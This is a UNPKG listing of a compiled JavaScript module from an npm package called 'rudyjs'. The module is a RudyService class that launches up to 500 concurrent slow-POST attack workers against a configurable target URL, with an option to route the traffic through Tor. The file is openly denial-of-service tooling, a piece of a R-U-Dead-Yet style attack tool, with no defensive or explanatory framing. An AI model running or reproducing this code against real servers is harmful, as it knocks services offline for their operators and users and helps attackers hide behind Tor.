UNPKG

rudyjs

Version:
42 lines (41 loc) 1.5 kB
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const logger_1 = require("../utils/logger"); const network_service_1 = require("./network.service"); const attack_service_1 = require("./attack.service"); const defaultConfig = { target: "http://localhost:8080/", method: network_service_1.HTTPMethod.POST, packet_len: 1 * 1024 * 1024, maxConnections: 500, delay: 5, shouldUseTor: false, }; class RudyService { constructor(config) { this.serviceName = "Rudy_Service"; this.config = defaultConfig; this.mapConfig(config); this.attacks = []; } attack() { for (var i = 0; i < this.config.maxConnections; i++) { const attackService = new attack_service_1.default({ target: this.config.target, method: this.config.method, packet_len: this.config.packet_len, delay: this.config.delay, shouldUseTor: this.config.shouldUseTor, attackId: i }); attackService.attack(); this.attacks.push(attackService); } logger_1.default.info({ message: "Attack Started at " + this.config.target + " With Workers : " + this.config.maxConnections, category: this.serviceName }); } mapConfig(config) { Object.keys(config).forEach((key, index) => { if (config[key] != null) { this.config[key] = config[key]; } }); } } exports.default = RudyService;